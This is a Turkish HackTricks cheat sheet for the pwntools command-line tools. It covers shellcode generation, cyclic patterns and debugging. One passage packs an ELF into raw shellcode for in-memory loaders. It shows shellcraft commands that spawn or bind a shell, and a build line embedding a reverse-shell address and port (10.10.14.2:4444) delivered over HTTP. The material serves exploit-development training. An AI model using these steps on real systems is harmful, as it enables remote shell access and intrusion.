PwnTools

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin
pip3 install pwntools

Pwn asm

Satırdan veya dosyadan opcodes alın.

pwn asm "jmp esp"
pwn asm -i <filepath>

Seçilebilir:

  • çıktı türü (raw,hex,string,elf)
  • çıktı dosyası bağlamı (16,32,64,linux,windows...)
  • baytlardan kaçın (new lines, null, a list)
  • encoder seç, shellcode'u gdb ile debug et ve çıktıyı çalıştır

Pwn checksec

Checksec script

pwn checksec <executable>

Pwn constgrep

Pwn cyclic

Bir pattern al

pwn cyclic 3000
pwn cyclic -l faad

Seçilebilir:

  • Kullanılan alfabe (varsayılan olarak küçük harfler)
  • uniq pattern uzunluğu (varsayılan 4)
  • context (16,32,64,linux,windows...)
  • Ofseti al (-l)

Pwn debug

GDB'yi bir işleme bağlayın.

pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash

Seçilebilir:

  • executable'e göre, isim veya pid bağlamına göre (16,32,64,linux,windows...)
  • Çalıştırılacak gdbscript
  • sysrootpath

Pwn disablenx

Bir binary'nin nx özelliğini devre dışı bırakır

pwn disablenx <filepath>

Pwn disasm

Hex opcodes'larını disassemble et

pwn disasm ffe4

Seçilebilir:

  • context (16,32,64,linux,windows...)
  • base addres
  • color(default)/no color

Pwn elfdiff

İki dosya arasındaki farkları yazdırır

pwn elfdiff <file1> <file2>

Pwn hex

Onaltılık gösterimini al

bash
pwn hex hola #Get hex of "hola" ascii

Pwn phd

hexdump alın

pwn phd <file>

Seçilebilir:

  • Gösterilecek bayt sayısı
  • Satır başına bayt sayısı — vurgulanacak bayt
  • Başlangıçtaki baytları atla

Pwn pwnstrip

Pwn scrable

Pwn shellcraft

Shellcodes al

pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port

Seçilebilir:

  • shellcode ve shellcode için argümanlar
  • Çıkış dosyası
  • çıktı formatı
  • debug (dbg'yi shellcode'a bağla)
  • before (koddan önce debug trap)
  • sonrası
  • opcodes kullanmaktan kaçın (varsayılan: null ve yeni satır içermeyen)
  • shellcode'u çalıştır
  • Renkli/renksiz
  • syscalls listesini göster
  • olası shellcode'ları listele
  • ELF'i shared library olarak oluştur

Pwn şablonu

Bir python şablonu al

pwn template

Seçilebilir: host, port, user, pass, path and quiet

Pwn unhex

Hex'ten string'e

pwn unhex 686f6c61

Pwn güncellemesi

pwntools'u güncellemek için

pwn update

ELF → raw shellcode paketleme (loader_append)

Pwntools, bağımsız bir ELF'i tek bir raw shellcode bloğuna dönüştürebilir; bu blok segmentlerini kendi kendine haritalar ve yürütmeyi orijinal entrypoint'e aktarır. Bu, memory-only loaders için idealdir (ör. JNI çağırarak indirilen baytları çalıştıran Android uygulamaları).

Tipik işlem hattı (amd64 örneği)

  1. Statik, konum-bağımsız payload ELF oluşturun (taşınabilirlik için musl önerilir):
bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
  1. pwntools ile ELF'i shellcode'a dönüştürme:
python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
  1. sc'yi bir memory loader'a (ör. HTTP[S] ile) teslim edin ve aynı proses içinde çalıştırın.

Notlar

  • loader_append orijinal ELF programını shellcode'un içine gömer ve segmentleri mmaps eden ve entry'ye atlayan küçük bir loader üretir.
  • Mimarinin context.clear(arch=...) ile açıkça belirtilmesine dikkat edin. arm64 Android'de yaygındır.
  • Payload'unuzun kodunun konum-bağımsız olmasını sağlayın ve proses ASLR/NX hakkında varsayımlarda bulunmaktan kaçının.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin